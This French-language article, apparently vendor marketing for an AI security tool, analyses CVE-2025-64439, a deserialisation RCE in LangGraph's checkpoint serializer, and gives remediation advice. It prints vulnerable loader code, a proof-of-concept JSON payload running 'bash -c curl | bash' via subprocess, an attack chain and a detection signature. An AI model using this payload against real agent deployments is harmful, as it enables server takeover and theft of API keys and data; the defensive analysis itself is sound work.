Empoisonnement de la mémoire : Analyse médico-légale de CVE-2025-64439 (LangGraph RCE) et fragilité de l'état agentique

Une autopsie technique de CVE-2025-64439 (CVSS 9.8), un RCE critique dans le sérialiseur de points de contrôle de LangGraph. Nous analysons la faille logique de désérialisation JSON, la chaîne d'exécution pour l'empoisonnement de la mémoire de l'agent AI, et les stratégies de défense basées sur l'IA.

Dans l'évolution architecturale de 2026, IA agentique est passé des carnets Jupyter expérimentaux à une infrastructure d'entreprise critique. Des cadres tels que LangGraph sont devenus l'épine dorsale de ces systèmes, permettant aux développeurs de créer des applications multi-acteurs avec état, capables de mettre en pause, de reprendre et d'effectuer des itérations sur des tâches complexes.

Toutefois, la divulgation des CVE-2025-64439 (Score CVSS 9.8Critique) expose une vulnérabilité catastrophique dans le mécanisme même qui rend ces agents "intelligents" : leur mémoire à long terme.

Il ne s'agit pas d'une vulnérabilité web classique. Il s'agit d'une option nucléaire de la chaîne d'approvisionnement ciblant la couche de persistance de l'IA. La faille se trouve dans la couche de persistance de l langgraph-checkpoint et plus particulièrement sur la manière dont la bibliothèque de l JsonPlusSerializer gère la récupération des données. En exploitant cela, les attaquants peuvent injecter des charges utiles JSON malveillantes dans le stockage de l'état d'un agent (par exemple, SQLite, Postgres), ce qui déclenche des attaques de Exécution de code à distance (RCE) le moment où le système tente de se "souvenir" d'un état antérieur pour reprendre un flux de travail.

Pour l'ingénieur spécialisé dans la sécurité de l'IA, l'implication est évidente : L'"État" est le nouveau "input". Si un attaquant peut influencer l'historique sérialisé d'un agent, il peut exécuter un code arbitraire sur le serveur d'inférence. Cet article dissèque le code source pour révéler les mécanismes de cette chaîne d'exécution "d'empoisonnement de la mémoire".

Carte de renseignements sur les vulnérabilités

Plongée technique : Les JsonPlusSerializer Piège

Pour comprendre CVE-2025-64439, il faut comprendre comment LangGraph gère la persistance. Contrairement à un appel LLM sans état, un agent doit sauvegarder sa pile - les valeurs des variables, l'historique des conversations et les étapes d'exécution - afin de pouvoir la reprendre plus tard. Ceci est géré par Checkpointers.

LangGraph tente d'utiliser msgpack pour des raisons d'efficacité. Toutefois, comme les objets Python utilisés dans les flux de travail d'IA sont souvent complexes (classes personnalisées, modèles pydantiques), il met en œuvre un mécanisme de repli robuste : Mode JSON, pris en charge par JsonPlusSerializer.

1. La logique fatale du "constructeur

La vulnérabilité n'est pas liée à l'utilisation de JSON, mais à comment LangGraph étend JSON pour prendre en charge les types Python complexes. Pour reconstruire un objet Python à partir de JSON, le sérialiseur recherche un schéma spécifique contenant des "clés magiques" :

• lc: L'identifiant de la version de LangChain/LangGraph (par exemple, 2).
• type: Le type d'objet (en particulier la chaîne de caractères "constructeur").
• id: Une liste représentant le chemin d'accès au module de la classe ou de la fonction.
• kwargs: Arguments à passer à ce constructeur.

Le défaut : Dans les versions concernées, le désérialiseur fait confiance à l'élément id implicitement. Il ne vérifie pas si le module spécifié est un composant LangGraph "sûr" ou une bibliothèque système dangereuse. Il importe dynamiquement le module et exécute le constructeur avec les arguments fournis.

2. Reconstruction du code médico-légal

D'après l'analyse des correctifs, la logique vulnérable en langgraph/checkpoint/serde/jsonplus.py ressemble au schéma suivant :

Python

`# Logique vulnérable simplifiée def _load_constructor(value) : # DANGEROUS : No allow-list check on 'id' # 'id' provient directement de la charge utile JSON module_path = value["id"][:-1] class_name = value["id"][-1]

# Importation dynamique d'un module quelconque
module = importlib.import_module(".".join(module_path))
cls = getattr(module, class_name)

# Exécution du constructeur
return cls(**valeur["kwargs"])`

Cette logique transforme le désérialiseur en un exécuteur générique de "chaîne de gadgets", similaire à l'infâme chaîne Java ObjectInputStream mais plus faciles à exploiter car la charge utile est du JSON lisible par l'homme.

La chaîne de la mort : Empoisonnement de la mémoire

Comment un attaquant peut-il introduire ce JSON dans le système ? La surface d'attaque est plus large qu'il n'y paraît.

Phase 1 : Injection (le poison)

L'attaquant doit écrire dans la base de données où sont stockés les points de contrôle.

• Scénario A (apport direct) : Si l'agent accepte une entrée utilisateur qui est stockée de manière brute dans l'état (par exemple, "Résumez ce texte : [MALICIOUS_JSON]"), et que la logique de sérialisation de l'application est défectueuse, la charge utile peut être écrite dans la base de données.
• Scénario B (Injection SQL Pivot) : Un attaquant utilise une injection SQL de moindre gravité (comme CVE-2025-8709) pour modifier le fichier points de contrôle dans SQLite/Postgres directement, en insérant la charge utile RCE dans la table thread_ts ou state blob.

Phase 2 : Armement (la charge utile)

L'attaquant construit une charge utile JSON qui imite un objet LangGraph valide mais qui pointe vers sous-processus.

Concept PoC Payload :

JSON

{"lc" : 2, "type" : "constructor", "id" : ["subprocess", "check_output"], "kwargs" : {"args" : ["/bin/bash", "-c", "curl | bash"], "shell" : false, "text" : true } }

Phase 3 : Détonation (la reprise)

Le code n'est pas exécuté immédiatement après l'injection. Il s'exécute lorsque l'agent lit l'État.

1. L'utilisateur (ou l'attaquant) déclenche la reprise d'un fil de discussion par l'agent (par exemple, "Continuer la tâche précédente").
2. LangGraph interroge la base de données pour connaître le dernier point de contrôle.
3. Les JsonPlusSerializer analyse le blob.
4. Il rencontre le constructeur type.
5. Il importe sous-processus et s'exécute check_output.
6. RCE atteint.

Analyse d'impact : Le vol du cerveau de l'IA

La compromission du serveur qui exécute LangGraph est nettement plus dangereuse que celle d'un serveur web standard en raison de la nature des charges de travail liées à l'intelligence artificielle.

1. Récolte de titres de compétences : Les agents d'intelligence artificielle s'appuient sur des variables d'environnement pour les clés d'API (OPENAI_API_KEY, CLÉ_API_ANTHROPIQUE, CLÉ AWS_ACCESS). Le CRE offre un accès immédiat aux os.environnement.
2. Vecteur DB Exfiltration : Les agents ont souvent un accès en lecture/écriture à Pinecone, Milvus ou Weaviate. Un attaquant peut déverser des bases de connaissances propriétaires (données RAG).
3. Modèle de poids Infection : Si le serveur héberge des modèles locaux (par exemple, en utilisant Ollama), les attaquants peuvent empoisonner les poids du modèle ou modifier le pipeline d'inférence.
4. Mouvement latéral : Les agents LangGraph sont conçus pour faire des choses-Appeler des API, interroger des bases de données, envoyer des courriels. L'attaquant hérite de toutes les autorisations et de tous les outils attribués à l'agent.

Une défense fondée sur l'IA : L'avantage de la négligence

La détection de CVE-2025-64439 est un cauchemar pour les outils DAST (Dynamic Application Security Testing) existants.

• Cécité du protocole : Les scanners recherchent des formulaires HTML et des paramètres URL. Ils ne comprennent pas les protocoles internes de sérialisation binaire ou JSON utilisés par les frameworks Python AI.
• Cécité de l'État : La vulnérabilité se déclenche sur lire, pas écrire. Un scanner peut injecter une charge utile et ne pas voir d'erreur immédiate, ce qui fausse le résultat.

C'est ici que Penligent.ai représente un changement de paradigme pour la sécurité des applications d'IA. Penligent utilise Analyse approfondie des dépendances et Fuzzing logique:

1. Empreintes digitales par l'IA

Les agents de Penligent ne se contentent pas de geler les pip. Ils analysent les conteneurs de développement et de production pour identifier les versions exactes de langgraph, langchain-core et langgraph-checkpoint. Ils reconnaissent la chaîne de dépendance vulnérable même si elle est imbriquée profondément dans une image Docker, en signalant la présence de JsonPlusSerializer sans liste d'autorisation.

2. Fuzzing du protocole de sérialisation

Penligent comprend le "langage des agents". Il peut générer des charges utiles de sondage spécifiques contenant des marqueurs de sérialisation (comme lc=2 et des appels de constructeurs bénins).

• Sonde non destructive : Au lieu d'un shell inversé, Penligent injecte une charge utile qui déclenche une recherche DNS bénigne (par exemple, en utilisant la fonction socket.gethostbyname).
• Validation : Si l'auditeur OOB de Penligent reçoit la requête DNS lorsque l'état de l'agent est chargé, la vulnérabilité est confirmée avec une certitude de 100%.

3. Audit des magasins d'État

Penligent se connecte à la couche de persistance (SQLite/Postgres) utilisée par vos agents d'intelligence artificielle. Il analyse les blobs stockés à la recherche de "Dormant Payloads" (structures JSON malveillantes attendant d'être désérialisées), ce qui vous permet d'assainir votre base de données avant qu'un incident ne se produise.

Manuel sur l'assainissement et le durcissement

Si vous construisez avec LangGraph, vous devez immédiatement prendre des mesures correctives.

1. Dépendances de la mise à niveau (la solution)

Mise à niveau langgraph-checkpoint à la version 3.0.0 ou plus immédiatement.

• Mécanisme : La nouvelle version supprime la prise en charge par défaut de l'option constructeur dans la sérialisation JSON ou impose une liste d'autorisation stricte et vide par défaut. Il oblige les développeurs à enregistrer explicitement les classes sûres pour la sérialisation.

2. Nettoyage judiciaire des bases de données

Si vous soupçonnez que votre système a été exposé, vous ne pouvez pas vous contenter de corriger le code ; vous devez nettoyer les données.

• Action : Script un outil pour itérer à travers votre points de contrôle table. Analyser chaque bloc JSON.
• Signature : Rechercher {"type" : "constructor", "id" : ["subprocess", ...]} ou tout autre id pointant vers os, sysou shutil.
• Purge : Supprimer tout fil de discussion ou point de contrôle contenant ces signatures.

3. Isolation du réseau et de l'exécution

• Filtrage des sorties : Les agents AI ne doivent pas avoir un accès illimité à Internet. Bloquer les connexions sortantes vers des adresses IP inconnues afin d'éviter les "reverse shells".
• Isolation de la base de données : Assurez-vous que le fichier SQLite ou l'instance Postgres qui stocke les points de contrôle n'est pas accessible via des interfaces publiques.
• Le moindre privilège : Exécutez le service Agent avec un utilisateur qui n'a pas accès au shell (/bin/false) et des rôles IAM strictement délimités.

Conclusion

CVE-2025-64439 est un signal d'alarme pour l'industrie de l'IA. Nous construisons des systèmes de plus en plus autonomes et dotés d'états, mais nous les construisons sur des bases de confiance fragiles. La mémoire d'un agent est une surface mutable et armable.

L'ingénierie de la sécurité doit évoluer à mesure que nous nous dirigeons vers des systèmes proches de l'AGI. Nous devons traiter l'"État" avec la même suspicion que nous traitons les "entrées utilisateur". La validation de la logique de sérialisation, l'audit des dépendances et l'utilisation d'outils de sécurité natifs de l'IA comme Penligent ne sont plus optionnels - ce sont les conditions préalables à la survie à l'ère de l'IA agentique.

Références fiables

• Avis de sécurité LangChain/LangGraph : GHSA-wwqv-p2pp-99h5
• Détail du NIST NVD pour CVE-2025-64439
• OWASP Top 10 pour les applications LLM : Conception de plugins non sécurisés
• Sécurité Python : Risques liés à la désérialisation